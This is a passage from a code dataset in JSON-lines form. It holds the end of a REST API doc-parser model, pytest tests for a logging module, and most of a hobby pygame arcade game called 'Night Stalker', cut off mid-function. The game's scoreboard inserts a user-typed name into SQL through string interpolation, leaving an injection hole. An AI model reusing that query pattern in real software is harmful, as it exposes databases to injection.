self.remove_code_block(e.ingroup)\n return finds[0]\n return \"\"\n\n def _get_returns(self):\n find = e.returns.findall(self.block)\n if len(find) > 0:\n self.remove_code_block(e.returns)\n return find[0]\n return \"\"\n\n def _get_params(self):\n found_params = e.params.findall(self.block)\n\n if len(found_params) > 0:\n self.remove_code_block(e.params)\n return [Param(p) for p in found_params]\n\n return []\n\n def _get_non_working(self):\n f = e.nonworking.findall(self.block)\n if len(f) > 0:\n self.remove_code_block(e.nonworking)\n t, m = f[0]\n if t.lower().strip() == \"deprecated\":\n self.deprecated = True\n else:\n self.working = False\n return m\n return \"\"\n\n def _get_examples(self):\n f = e.examples.findall(self.block)\n if len(f) > 0:\n self.remove_code_block(e.examples)\n return [Example(c) for c in f]\n return []\n\n def remove_code_block(self, pattern):\n self.block = pattern.sub(\"\", self.block)\n\n def __str__(self):\n return \"%s %s (%s)\" % (self.method.upper(), self.route, self.group)\n","repo_name":"dzhibas/rest-api-doc","sub_path":"restapidoc/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"25929776903","text":"import datetime\nimport decimal\nimport enum\nimport json\nimport logging\nimport uuid\n\nimport amplitude\nfrom flask import g\nfrom flask_login import login_user\nimport pytest\n\nfrom pcapi.core.logging import JsonFormatter\nfrom pcapi.core.logging import get_logged_in_user_id\nfrom pcapi.core.logging import get_or_set_correlation_id\nfrom pcapi.core.logging import log_elapsed\nimport pcapi.core.users.factories as users_factories\n\n\nclass TestingEnum(enum.Enum):\n Foo = \"foo\"\n\n\nclass GetOrSetCorrelationIdTest:\n def test_request_with_no_header(self, app):\n with app.test_request_context():\n correlation_id = get_or_set_correlation_id()\n assert correlation_id == \"\"\n\n def test_request_with_header(self, app):\n headers = {\"X-Request-Id\": uuid.uuid4().hex}\n with app.test_request_context(headers=headers):\n correlation_id = get_or_set_correlation_id()\n assert correlation_id == headers[\"X-Request-Id\"]\n\n\n@pytest.mark.usefixtures(\"db_session\")\nclass GetLoggedInUserIdTest:\n def test_request_from_anonymous_user(self, app):\n with app.test_request_context():\n user_id = get_logged_in_user_id()\n assert user_id is None\n\n def test_request_from_authenticated_user(self, app):\n user = users_factories.UserFactory()\n with app.test_request_context():\n login_user(user)\n user_id = get_logged_in_user_id()\n assert user_id == user.id\n\n\nclass JsonFormatterTest:\n def _make_record(self, message, *args, extra=None):\n logger = logging.getLogger(\"testing-logger\")\n extra = extra or {}\n return logger.makeRecord(\n name=logger.name,\n level=logging.INFO,\n fn=None,\n lno=None,\n msg=message,\n args=args,\n exc_info=None,\n func=None,\n extra=extra,\n sinfo=None,\n )\n\n def test_serialization(self):\n # Sometimes, the current api key may be defined in other tests\n # and not cleaned so we need to reset it here to avoid logger\n # from accessing stale data\n g.current_api_key = None\n\n formatter = JsonFormatter()\n\n # empty extra\n record = self._make_record(\"Frobulated %d blobs\", 12)\n serialized = formatter.format(record)\n deserialized = json.loads(serialized)\n assert deserialized[\"message\"] == \"Frobulated 12 blobs\"\n assert deserialized[\"extra\"] == {}\n\n # non-empty extra\n record = self._make_record(\"Frobulated %d blobs\", 12, extra={\"blobs\": 12})\n serialized = formatter.format(record)\n deserialized = json.loads(serialized)\n assert deserialized[\"message\"] == \"Frobulated 12 blobs\"\n assert deserialized[\"extra\"] == {\"blobs\": 12}\n\n # use custom serializer\n user = users_factories.UserFactory.build(id=7)\n record = self._make_record(\n \"Frobulated %d blobs\",\n 12,\n extra={\n \"date\": datetime.date(2020, 1, 1),\n \"datetime\": datetime.datetime(2020, 1, 1, 12, 0),\n \"decimal\": decimal.Decimal(\"12.34\"),\n \"enum\": TestingEnum.Foo,\n \"exception\": ValueError(\"Wrong frobulation factor\"),\n \"set\": {1},\n \"user\": user,\n \"bytes\": b\"encod\\xc3\\xa9\",\n \"nested_complex_object\": [{\"foo\": [\"bar\"]}],\n \"event\": amplitude.BaseEvent(event_type=\"event type\"),\n },\n )\n serialized = formatter.format(record)\n deserialized = json.loads(serialized)\n assert deserialized[\"message\"] == \"Frobulated 12 blobs\"\n assert deserialized[\"extra\"] == {\n \"date\": \"2020-01-01\",\n \"datetime\": \"2020-01-01T12:00:00\",\n \"decimal\": 12.34,\n \"enum\": \"foo\",\n \"exception\": \"Wrong frobulation factor\",\n \"set\": [1],\n \"user\": 7,\n \"bytes\": \"encodé\",\n \"nested_complex_object\": [{\"foo\": [\"bar\"]}],\n \"event\": {\"event_type\": \"event type\"},\n }\n\n # gracefully handle non-serializable objects\n obj = object()\n record = self._make_record(\"Frobulated %d blobs\", 12, extra={\"blobs\": obj})\n serialized = formatter.format(record)\n deserialized = json.loads(serialized)\n assert deserialized[\"message\"] == \"Frobulated 12 blobs\"\n assert deserialized[\"extra\"] == {\"unserializable\": str({\"blobs\": obj})}\n\n\nclass LogElapsedTest:\n def test_log(self, caplog):\n caplog.set_level(logging.INFO)\n\n logger = logging.getLogger(\"testing-logger\")\n with log_elapsed(logger, \"It worked!\"):\n pass\n assert \"It worked!\" in caplog.messages\n\n def test_no_log_on_exception(self, caplog):\n caplog.set_level(logging.INFO)\n\n def raise_exception():\n raise ValueError()\n\n logger = logging.getLogger(\"testing-logger\")\n with pytest.raises(ValueError):\n with log_elapsed(logger, \"It worked!\"):\n raise_exception()\n assert not caplog.messages\n","repo_name":"pass-culture/pass-culture-main","sub_path":"api/tests/core/logging/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"29"} +{"seq_id":"9660248028","text":"import pygame\nfrom pygame import mixer\nfrom enum import Enum\nimport random\nimport sys\nimport pyautogui\nimport sqlite3\n\npygame.init() # for fonts and sounds\n\n\nSCREEN = (800, 600)\nSURFACE = pygame.display.set_mode(SCREEN)\nBG = (0, 0, 0)\nALL_LINES = (255, 255, 255)\n\n\nclass Scoreboard:\n def __init__(self):\n self.conn = sqlite3.connect('masterbase.db')\n self.c = self.conn.cursor()\n self.c.execute(\"CREATE TABLE IF NOT EXISTS HighScores(NAME text, SCORE int, LEVEL int)\")\n self.scores = []\n self.pen = Writer(font=\"consola.ttf\", size=20)\n self.game_pen = Writer()\n \n def submit(self, name, score, level):\n self.c.execute(f'INSERT INTO HighScores(NAME, SCORE, LEVEL) VALUES (\"{name}\", {score}, {level})')\n self.conn.commit()\n \n def reset(self):\n self.submit(\"Michael\", 19000, 1)\n self.submit(\"Nakaya\", 18000, 1)\n self.submit(\"Sabato\", 17000, 1)\n self.submit(\"Gaia\", 16000, 1)\n self.submit(\"Tateishi\", 15000, 1)\n self.submit(\"Imai\", 14000, 1)\n self.submit(\"Sakita\", 13000, 1)\n self.submit(\"Allan\", 12000, 1)\n self.submit(\"Sakita\", 11000, 1)\n self.submit(\"Jackson\", 10000, 1)\n self.submit(\"Shiwa\", 9000, 1)\n \n def register(self, score, level):\n user_name = pyautogui.prompt(\"Please enter your name.\")\n self.submit(user_name, score, level)\n \n def draw(self):\n score_list = []\n self.scores = self.c.execute(\"SELECT NAME, SCORE, LEVEL FROM HighScores ORDER BY SCORE DESC LIMIT 10\").fetchall()\n for i in range(len(self.scores)):\n rank = i + 1\n score_list.append(f\"{rank}: {self.scores[i][0]} {self.scores[i][1]} Level: {self.scores[i][2]}\")\n \n self.game_pen.write(\"PRESS ENTER\", (300, 550))\n self.game_pen.write(\"HIGH SCORES\", (280, 260))\n for i, score in enumerate(score_list):\n self.pen.write(score, (250, 300 + i * 20))\n \n \nclass Title:\n def __init__(self, startX, startY):\n self.blueprint = [\"00-----0----00-----000000-----00---00----00000000---------------------------------------------------\",\n \"000----0----00----00-----0----00---00-------00------------------------------------------------------\",\n \"0-00---0----00----00----------00---00-------00------------------------------------------------------\",\n \"0--00--0----00----00--0000----0000000-------00------------------------------------------------------\",\n \"0---00-0----00----00----00----00---00-------00------------------------------------------------------\",\n \"0----000----00----00----00----00---00-------00------------------------------------------------------\",\n \"0-----00----00-----000000-----00---00-------00------------------------------------------------------\",\n \"----------------------------------------------------------------------------------------------------\",\n \"----------------------000000-----00000000-----00000-----00---------00---00----0000000----0000000----\",\n \"--------------------00------0-------00-------00---00----00---------00--00-----00---------00----00---\",\n \"--------------------000-------------00-------00---00----00---------00-00------00---------00-----00--\",\n \"-----------------------000----------00-------0000000----00---------0000-------00000------00-----00--\",\n \"------------------------000---------00-------00---00----00---------0000-------00---------00000000---\",\n \"-------------------------000--------00-------00---00----00---------00-00------00---------00-----00--\",\n \"--------------------00-----00-------00-------00---00----00---------00--00-----00---------00-----00--\",\n \"----------------------00000---------00-------00---00----0000000----00---00----0000000----00-----00--\",\n \"----------------------------------------------------------------------------------------------------\",\n \"000-0-0--000------0--00---00--0--00--000------0---00--000-0--0--0--0------00-0-0--0---0--000-000-00-\",\n \"-0--0-0--0-------0-0-0-0-0---0-0-0-0-0-------0-0-0-----0--0-0-0-00-0-----0---0-0-0-0-0-0--0--0---0-0\",\n \"-0--000--00------000-000-0---000-0-0-00------000-0-----0--0-0-0-0-00------0--000-0-0-0-0--0--00--000\",\n \"-0--0-0--000-----0-0-0-0--00-0-0-00--000-----0-0--00---0--0--0--0--0-----000-0-0--0---0---0--000-0-0\",]\n \n self.title_list = []\n def build():\n x, y = startX, startY\n for row in self.blueprint:\n for col in row:\n if col == \"0\":\n self.title_list.append(Pixel(x, y, width = 5, height = 5))\n x += 5\n y += 5\n x = startX\n build()\n \n def draw(self):\n for pixel in self.title_list:\n pixel.draw()\n\n\nclass Soundboard:\n def __init__(self):\n self.explosion = pygame.mixer.Sound(\"boom.wav\")\n self.hit = pygame.mixer.Sound(\"hit.wav\")\n self.victim_dies = pygame.mixer.Sound(\"victim_killed.wav\")\n self.fire = pygame.mixer.Sound(\"laser.mp3\")\n self.rescue = pygame.mixer.Sound(\"rescue.mp3\")\n\n def play(self, sound):\n sound.play()\n\nclass GameState(Enum):\n TITLE = 0 # Title Screen\n MAIN = 1 # Main Gameplay\n TRANSITION = 2 # Transition of levels\n GAME_OVER = 3 # Self Explanatory\n\n\nclass Writer:\n def __init__(self, font = \"ARCADECLASSIC.TTF\", size = 40):\n self.SIZE = size\n self.FONT = pygame.font.Font(font, self.SIZE)\n \n def write(self, string_to_write, coords):\n showtext = self.FONT.render(string_to_write, self.SIZE, ALL_LINES)\n SURFACE.blit(showtext, coords)\n\nclass GUI:\n # Management for score display and the life meter\n def __init__(self):\n self.pen = Writer()\n self.life_rect = pygame.Rect(20, 60, 200, 30)\n\n def draw(self):\n pen.write(\"LIFE\", (20, 18))\n pygame.draw.rect(SURFACE, ALL_LINES, self.life_rect)\n\n\nclass Pixel:\n # To be used for all artwork\n def __init__(self, startX, startY, width = 2, height = 2):\n self.rect = pygame.Rect(startX, startY, width, height)\n\n def draw(self):\n pygame.draw.rect(SURFACE, ALL_LINES, self.rect)\n\n\nclass Pow:\n def __init__(self, startX, startY):\n self.hitbox = pygame.Rect(startX, startY, 20, 20)\n self.pow = []\n self.blueprint = [\"--000000--\",\n \"-00--0000-\",\n \"000--00000\",\n \"000--00000\",\n \"000--00000\",\n \"000--00000\",\n \"000--00000\",\n \"000-----00\",\n \"-00000000-\",\n \"--000000--\"]\n \n self.SPEED = 6\n def build_pow():\n x, y = startX, startY\n for row in self.blueprint:\n for col in row:\n if col == \"0\":\n self.pow.append(Pixel(x, y))\n x += 2\n\n y += 2\n x = startX\n \n build_pow()\n\n def draw(self):\n for pixel in self.pow:\n pixel.draw()\n\n def update(self):\n for pixel in self.pow:\n pixel.rect.x -= self.SPEED\n self.hitbox.x -= self.SPEED\n\nclass BackState(Enum):\n CITY = 0\n MOUNTAINS = 1\n\nclass Background:\n def __init__(self, startX = 800, startY = 300 - 40, state = BackState.MOUNTAINS):\n self.startX, self.startY = startX, startY\n self.back_images = [[\"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------00----------\",\n \"----------------------------00--------00----------\",\n \"--------------------------00--00------00----------\",\n \"-------------------------00----00-----00----------\",\n \"------------------------00------00----00----------\",\n \"---------------0000000000--0--0--00000000000------\",\n \"---------------0-------00--0--0--00--------0------\",\n \"---------------0-0--0--00--------00--0--0--0------\",\n \"---------------0-0--0--00--0--0--00--0--0--0------\",\n \"000000000------0-------00--------00--------0000000\",\n \"0-------0------0-0--0--00--0--0--00--0--0--0-0-0-0\",\n \"0-0-0-0-0------0-0--0--00--0--0--00--0--0--0-0-0-0\",\n \"0-0-0-0-00000000-------00--------00--------0-----0\",\n \"0-------0------0-0--0--00--0--0--00--0--0--0-0-0-0\",\n \"0-0-0-0-0-0--0-0-0--0--00--0--0--00--0--0--0-0-0-0\",\n \"0-0-0-0-0-0--0-0-------00--------00--------0-----0\",\n \"0-------0------0-0--0--00--0--0--00--0--0--0-0-0-0\",\n \"0-0-0-0-0-0--0-0-0--0--00--0--0--00--0--0--0-0-0-0\"],\n\n [\"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"--------------------------------------------------\",\n \"-----------------------o--------------------------\",\n \"--------------0------00-00------0-----------------\",\n \"------00-----0-0----0-----0---00-0----------------\",\n \"-----0--0---0---0--0-------000----0----00---------\",\n \"--- 0----0-0-----00---------0------00-0--0--------\",\n \"---0------0------0-----------0-------0----0-------\",\n \"--0--------0----0-------------0-----0------0--00--\",\n \"-0----------0--0---------------0--0---------00--0-\",\n \"0------------00-----------------0------------0---0\",]]\n\n self.current_state = state\n\n self.city_image = []\n self.mount_image = []\n\n def build_images():\n x, y = startX, startY\n for struct in self.back_images[0]:\n for col in struct:\n if col == \"0\":\n self.city_image.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n\n y = startY\n\n for rock in self.back_images[1]:\n for col in rock:\n if col == \"0\":\n self.mount_image.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n\n build_images()\n\n def draw(self):\n if self.current_state == BackState.MOUNTAINS:\n for i in self.mount_image:\n i.draw()\n if self.current_state == BackState.CITY:\n for i in self.city_image:\n i.draw()\n\n def update(self):\n if self.current_state == BackState.MOUNTAINS:\n for pixel in self.mount_image:\n pixel.rect.x -= 3\n if self.current_state == BackState.CITY:\n for pixel in self.city_image:\n pixel.rect.x -= 3\n \nclass Star:\n def __init__(self, startX, startY):\n self.rect = Pixel(startX, startY)\n \n def draw(self):\n self.rect.draw()\n \n def update(self):\n self.rect.rect.x -= 1\n if self.rect.rect.x <= 3:\n self.rect.rect.x = 800\n self.rect.rect.y = random.randint(40, 150) \n\n\nclass Bullet:\n def __init__(self, startX, startY, vertical = False):\n self.rect = pygame.Rect(startX, startY, 10, 2)\n self.vertical = vertical\n self.SPEED = 6\n\n def update(self):\n if self.vertical:\n self.rect.y -= self.SPEED # Speed is being overridden somewhere so the signs must be flipped\n else:\n self.rect.x += self.SPEED\n\n\n def draw(self):\n pygame.draw.rect(SURFACE, ALL_LINES, self.rect)\n\n\nclass EnemyState(Enum):\n ALIVE = 0\n DEAD = 1\n\nclass EnemyType(Enum):\n BIKE = 0\n PLANE = 1\n\nclass Enemy:\n def __init__(self, startX, enemy_type):\n if enemy_type == EnemyType.BIKE:\n startY = random.randint(350, 424)\n if enemy_type == EnemyType.PLANE:\n startY = random.randint(50, 274)\n self.speed = random.randint(3, 6)\n self.direction = [\"left\", \"right\"]\n self.hitbox = pygame.Rect(startX, startY, 50, 26)\n self.blueprint = [[\"-------------------------\",\n \"--------000--------------\",\n \"--------00000------------\",\n \"000------0000------------\",\n \"--0000000000-------------\",\n \"---00000000---0000000000-\",\n \"---0----000---0000000----\",\n \"----0---000---0000000----\",\n \"----00000000000----------\",\n \"----0000000000000000-----\",\n \"---00---------------00---\",\n \"-00--00-----------00--00-\",\n \"---00---------------00---\",],\n\n [\"-------------------000000\",\n \"-------------------00000^\",\n \"-----------------000000--\",\n \"---------------0000000---\",\n \"--------0000000000000----\",\n \"-----0---0000000000000---\",\n \"--000000000000000000000--\",\n \"----000000000000000000---\",\n \"-------0000000000000000--\",\n \"----------00000000000----\",\n \"------------0000000000---\",\n \"---------------00000000--\",\n \"-------------00000000000-\",]]\n self.current_state = EnemyState.ALIVE\n self.bike = []\n self.plane = []\n self.bullet_list = []\n self.fire_timer = 0\n self.COOLDOWN = 60\n self.points = 47\n \n def build_bad_guys():\n x, y = startX, startY\n for row in self.blueprint[0]:\n for col in row:\n if col == \"0\":\n self.bike.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n\n y = startY\n\n for row in self.blueprint[1]:\n for col in row:\n if col == \"0\":\n self.plane.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n\n build_bad_guys()\n self.enemy_type = enemy_type\n\n def draw(self):\n if self.enemy_type == EnemyType.BIKE:\n for pixel in self.bike:\n pixel.draw()\n if self.enemy_type == EnemyType.PLANE:\n for pixel in self.plane:\n pixel.draw()\n for bullet in self.bullet_list:\n bullet.draw()\n\n def update(self):\n self.fire_timer += 1\n if self.current_state == EnemyState.ALIVE:\n if self.fire_timer % self.COOLDOWN == 0:\n if self.enemy_type == EnemyType.BIKE:\n self.bullet_list.append(Bullet(self.hitbox.x, self.hitbox.y + 8))\n if self.enemy_type == EnemyType.PLANE:\n self.bullet_list.append(Bullet(self.hitbox.x + 26, self.hitbox.y + 24, vertical = random.choice([True, False])))\n \n for bullet in self.bullet_list:\n bullet.update()\n bullet.SPEED = -8 # to go the other way\n if bullet.rect.right < 0 or bullet.rect.top > 450:\n self.bullet_list.remove(bullet)\n\n if self.enemy_type == EnemyType.BIKE:\n for pixel in self.bike:\n pixel.rect.x -= self.speed\n if self.enemy_type == EnemyType.PLANE:\n for pixel in self.plane:\n pixel.rect.x -= self.speed\n\n self.hitbox.x -= self.speed\n\n if self.current_state == EnemyState.DEAD:\n if self.enemy_type == EnemyType.BIKE:\n for pixel in self.bike:\n pixel.rect.x += random.randint(4, 10)\n if self.enemy_type == EnemyType.PLANE:\n for pixel in self.plane:\n pixel.rect.x += random.randint(4, 10)\n self.hitbox.x = 9000\n\n\n\nclass HeroState(Enum):\n LANDED = 0\n FLYING = 1\n DEAD = 2\n\nclass NightStalker:\n # The Hero Class\n def __init__(self, startX, startY, score = 0):\n self.speed = 5\n self.current_state = HeroState.LANDED\n self.score = score\n self.pen = Writer()\n self.hit_box = pygame.Rect(startX, startY, 50, 26)\n self.blueprint = [[\"00000--------------------\",\n \"-0---0--------0000-------\",\n \"--0---0------0----00-----\",\n \"---0---0----0-------000--\",\n \"----00000--0-----------00\",\n \"-----0--0-0-------------0\",\n \"--000------------------0^\",\n \"---0--------------------0\",\n \"--0---000-----------0000-\",\n \"--0-00---00-------00---00\",\n \"--000------00000000-----0\",\n \"----00---00-------00---00\",\n \"------000-----------000--\"],\n\n [\"00000--------------------\",\n \"-0---0--------0000-------\",\n \"--0---0------0----00-----\",\n \"---0---0----0-------000--\",\n \"----00000--0-----------00\",\n \"-----0--0-0-------------0\",\n \"--000------------------0^\",\n \"---0--------------------0\",\n \"--0---000-----------0000-\",\n \"--0-0000000-------0000000\",\n \"--0000000000000000000000-\"]]\n \n self.driving_mode = []\n self.flying_mode = []\n self.dead_car = self.driving_mode\n self.victims_saved = 0\n self.bullet_list = []\n self.fire_timer = 0\n self.COOLDOWN = 60\n self.MAX_LIFE = 200\n self.kill_count = 0\n self.soundman = Soundboard()\n \n\n self.display = GUI()\n\n def build_cars():\n x, y = startX, startY\n for row in self.blueprint[0]:\n for col in row:\n if col == \"0\":\n self.driving_mode.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n \n y = startY\n \n for row in self.blueprint[1]:\n for col in row:\n if col == \"0\":\n self.flying_mode.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n\n build_cars()\n\n def move(self, axis, speed):\n for pixel in self.driving_mode:\n if axis == \"x\":\n pixel.rect.x += speed\n if axis == \"y\":\n pixel.rect.y += speed\n\n for pixel in self.flying_mode:\n if axis == \"x\":\n pixel.rect.x += speed\n if axis == \"y\":\n pixel.rect.y += speed\n\n if axis == \"x\":\n self.hit_box.x += speed\n if axis == \"y\":\n self.hit_box.y += speed\n\n\n def get_hit(self, damage = 0):\n if self.current_state != HeroState.DEAD:\n self.display.life_rect.width -= 10 + damage\n if self.display.life_rect.width <= 0:\n self.display.life_rect.width = 0\n \n\n def draw(self):\n if self.current_state == HeroState.LANDED:\n for pixel in self.driving_mode:\n pixel.draw()\n elif self.current_state == HeroState.FLYING:\n for pixel in self.flying_mode:\n pixel.draw()\n else:\n for pixel in self.dead_car:\n pixel.draw()\n\n for bullet in self.bullet_list:\n bullet.draw()\n\n self.display.draw()\n\n\n def update(self):\n KEYS = pygame.key.get_pressed()\n \n if self.current_state != HeroState.DEAD:\n if self.driving_mode[0].rect.y < 350:\n self.current_state = HeroState.FLYING\n self.dead_car = self.flying_mode\n else:\n self.current_state = HeroState.LANDED\n self.dead_car = self.driving_mode\n\n if self.display.life_rect.width <= 0:\n self.current_state = HeroState.DEAD\n\n if self.current_state != HeroState.DEAD:\n if KEYS[pygame.K_a]:\n self.move(\"x\", -self.speed) if self.hit_box.left >= 0 else self.speed - 0\n if KEYS[pygame.K_d]:\n self.move(\"x\", self.speed) if self.hit_box.right <= 800 else self.speed - 0\n if KEYS[pygame.K_w]:\n self.move(\"y\", -self.speed) if self.hit_box.top >= 60 else self.speed - 0\n if KEYS[pygame.K_s]:\n self.move(\"y\", self.speed) if self.hit_box.bottom <= 450 else self.speed - 0\n if KEYS[pygame.K_SPACE]:\n if self.fire_timer == 0 and len(self.bullet_list) < 3:\n self.soundman.play(self.soundman.fire)\n self.bullet_list.append(Bullet(self.dead_car[37].rect.x - 5, self.dead_car[37].rect.y))\n self.fire_timer += 1\n if not KEYS[pygame.K_SPACE]:\n self.fire_timer = 0\n\n if self.current_state == HeroState.DEAD:\n for pixel in self.dead_car:\n pixel.rect.x += random.randrange(-10, 11)\n pixel.rect.y += 8\n self.hit_box.x = 9000\n\n for bullet in self.bullet_list:\n bullet.update()\n if bullet.rect.x > 800:\n self.bullet_list.remove(bullet)\n \n if self.dead_car[-1].rect.bottom > 454:\n self.current_state = HeroState.DEAD\n \n pen.write(f\"SCORE {self.score}\", (400,18))\n\nclass Victim:\n def __init__(self, startX, startY):\n self.hit_box = pygame.Rect(startX, startY, 20, 20)\n self.image = [\"0---00---0\",\n \"-0-0000-0-\",\n \"--0-00-0--\",\n \"---0000---\",\n \"----00----\",\n \"----00----\",\n \"---0--0---\",\n \"--0----0--\",\n \"--0----0--\",\n \"000----000\"]\n self.victim = []\n def make_victim():\n x, y = startX, startY\n for row in self.image:\n for bodypart in row:\n if bodypart == \"0\":\n self.victim.append(Pixel(x, y))\n x += 2\n y += 2\n x = startX\n make_victim()\n \n def draw(self):\n for part in self.victim:\n part.draw()\n \n def update(self):\n for part in self.victim:\n part.rect.x -= 4\n self.hit_box.x -= 4\n \n\n\n\nCLOCK = pygame.time.Clock()\nFPS = 60\nNAME = \"Night Stalker™ by Michael Yamazaki-Fleisher ©2023-2024\"\n\npygame.display.set_caption(NAME)\npygame.mouse.set_visible(False)\n\n# Game subroutines go here\nplayer = NightStalker(400, 300)\npen = Writer()\nbg_list = []\nvictim_list = []\nenemy_list = []\nstarfield = [Star(random.randint(0, 798), random.randint(40, 150)) for i in range(30)]\nroadlines_list = [pygame.Rect(0, 400, 200, 2), pygame.Rect(400, 400, 200, 2), pygame.Rect(800, 400, 200, 2)]\nPOW_list = []\nSOUNDBOARD = Soundboard()\ncurrent_gameState = GameState.TITLE\nmax_enemies = 3\nclear_count = 30\nscoreboard = Scoreboard()\ntitle = Title(150, 50)\nlevel = 1\n\n\ndef game_init(next_level = True):\n global player, victim_list, enemy_list, POW_list, max_enemies, clear_count, current_gameState\n victim_list, enemy_list, POW_list = [], [], []\n if next_level:\n new_score = player.score\n player = NightStalker(400, 300, new_score)\n max_enemies += 2\n clear_count += 10\n else:\n player.score = 0\n max_enemies = 3\n player.kill_count = 0\n clear_count = 30\n player.victims_saved = 0\n player = NightStalker(400, 300)\n player.kill_count = 0\n \n\n \n current_gameState = GameState.MAIN\n\n\ndef die():\n confirm = pyautogui.confirm(\"Are you sure you want to exit to OS?\", \"Confirm\", [\"Yes\", \"No\"])\n if confirm == \"Yes\":\n pygame.quit()\n sys.exit(1)\n\ndef draw():\n if current_gameState == GameState.MAIN:\n for bgs in bg_list:\n bgs.draw()\n for star in starfield:\n star.draw()\n # Horizon Line\n pygame.draw.rect(SURFACE, ALL_LINES, pygame.Rect(0, 300, 800, 2))\n # Road lanes\n pygame.draw.rect(SURFACE, ALL_LINES, pygame.Rect(0, 350, 800, 2))\n pygame.draw.rect(SURFACE, ALL_LINES, pygame.Rect(0, 450, 800, 2))\n for lines in roadlines_list:\n pygame.draw.rect(SURFACE, ALL_LINES, lines)\n for victim in victim_list:\n victim.draw()\n\n for enemy in enemy_list:\n enemy.draw()\n\n for pow in POW_list:\n pow.draw()\n \n player.draw()\n\n\n if current_gameState == GameState.TITLE:\n scoreboard.draw()\n title.draw()\n\ndef update():\n global current_gameState, level\n CLOCK.tick(FPS)\n KEYS = pygame.key.get_pressed()\n for event in pygame.event.get():\n if event.type == pygame.QUIT or KEYS[pygame.K_LCTRL] and KEYS[pygame.K_q]:\n die()\n \n draw()\n\n if current_gameState == GameState.TITLE:\n if KEYS[pygame.K_RETURN]:\n game_init(False)\n current_gameState = GameState.MAIN\n if KEYS[pygame.K_LCTRL] and KEYS[pygame.K_r]:\n confirm = pyautogui.confirm(\"Are you sure you want to reset the high scores?\", \"Confirm Reset\", [\"Yes\", \"No\"])\n if confirm == \"Yes\":\n blanks = pyautogui.confirm(\"Would you like to restore the default placeholders?\", \"Placeholder Restore\", [\"Yes\", \"No\"])\n scoreboard.c.execute(\"DELETE FROM HighScores;\",)\n if blanks == \"Yes\":\n scoreboard.reset()\n scoreboard.conn.commit()\n\n if current_gameState == GameState.MAIN:\n if len(bg_list) < 2:\n bg_list.append(Background(startX = random.randint(900, 1200), state=random.choice([BackState.CITY, BackState.MOUNTAINS])))\n bg_list.append(Background(startX = random.randint(1400, 2000), state=random.choice([BackState.CITY, BackState.MOUNTAINS])))\n\n if len(victim_list) < 4:\n victim_list.append(Victim(random.randint(900, 2000), random.randint(350, 450)))\n \n for victim in victim_list:\n victim.update()\n if player.current_state != HeroState.DEAD:\n if victim.hit_box.colliderect(player.hit_box):\n SOUNDBOARD.play(SOUNDBOARD.rescue)\n player.victims_saved += 1\n player.score += 250\n victim_list.remove(victim)\n \n if victim.hit_box.right < 0:\n victim_list.remove(victim)\n player.display.life_rect.width += 5\n player.victims_saved += 1\n \n for bullet in player.bullet_list:\n if bullet.rect.colliderect(victim.hit_box):\n player.victims_saved -= 1\n player.score -= 500\n player.bullet_list.remove(bullet)\n try:\n SOUNDBOARD.play(SOUNDBOARD.victim_dies)\n victim_list.remove(victim)\n if player.score < 0:\n player.score = 0\n player.current_state = HeroState.DEAD\n except ValueError:\n pass\n \n for lines in roadlines_list:\n lines.x -= 5\n if lines.right <= 0:\n lines.x = 1000\n\n # Objects' update methods go here\n for bgs in bg_list:\n bgs.update()\n if bgs.mount_image[-1].rect.x <= -50 or bgs.city_image[-1].rect.x <= -50:\n bg_list.remove(bgs)\n \n for star in starfield:\n star.update() \n \n if len(enemy_list) < max_enemies:\n enemy_list.append(Enemy(random.randint(900, 1200), random.choice([EnemyType.BIKE, EnemyType.PLANE])))\n\n for enemy in enemy_list:\n enemy.update()\n if enemy.hitbox.colliderect(player.hit_box):\n SOUNDBOARD.play(SOUNDBOARD.explosion)\n player.get_hit(damage = 20)\n player.kill_count += 1\n enemy.current_state = EnemyState.DEAD\n if enemy.hitbox.right <= 0:\n enemy_list.remove(enemy)\n for bullet in enemy.bullet_list:\n for victim in victim_list:\n if bullet.rect.colliderect(victim.hit_box):\n try:\n SOUNDBOARD.play(SOUNDBOARD.victim_dies)\n victim_list.remove(victim)\n enemy.bullet_list.remove(bullet)\n player.display.life_rect.width -= 5\n except ValueError:\n pass\n if bullet.rect.colliderect(player.hit_box):\n SOUNDBOARD.play(SOUNDBOARD.hit)\n enemy.bullet_list.remove(bullet)\n player.get_hit()\n for bullet in player.bullet_list:\n if bullet.rect.colliderect(enemy.hitbox):\n SOUNDBOARD.play(SOUNDBOARD.explosion)\n player.bullet_list.remove(bullet)\n player.score += enemy.points\n player.kill_count += 1\n enemy.current_state = EnemyState.DEAD\n \n if enemy.current_state == EnemyState.DEAD:\n if enemy.enemy_type == EnemyType.BIKE:\n if enemy.bike[0].rect.x >= 800:\n enemy_list.remove(enemy)\n if enemy.enemy_type == EnemyType.PLANE:\n if enemy.plane[0].rect.x >= 800:\n enemy_list.remove(enemy)\n for bullet in enemy.bullet_list:\n enemy.bullet_list.remove(bullet)\n\n if player.victims_saved % 20 == 0 and player.victims_saved != 0:\n if len(POW_list) < 1:\n POW_list.append(Pow(900, player.hit_box.y))\n\n for pow in POW_list:\n pow.update()\n if pow.hitbox.colliderect(player.hit_box):\n player.display.life_rect.width = player.MAX_LIFE\n SOUNDBOARD.play(SOUNDBOARD.victim_dies)\n POW_list.remove(pow)\n if pow.hitbox.right <= 0:\n POW_list.remove(pow)\n\n if player.display.life_rect.width >= 200:\n player.display.life_rect.width = 200\n \n if player.kill_count >= clear_count and player.current_state != HeroState.DEAD:\n current_gameState = GameState.TRANSITION\n\n if player.current_state == HeroState.DEAD:\n if player.dead_car[0].rect.top > 800:\n current_gameState = GameState.GAME_OVER\n\n player.update()\n\n if current_gameState == 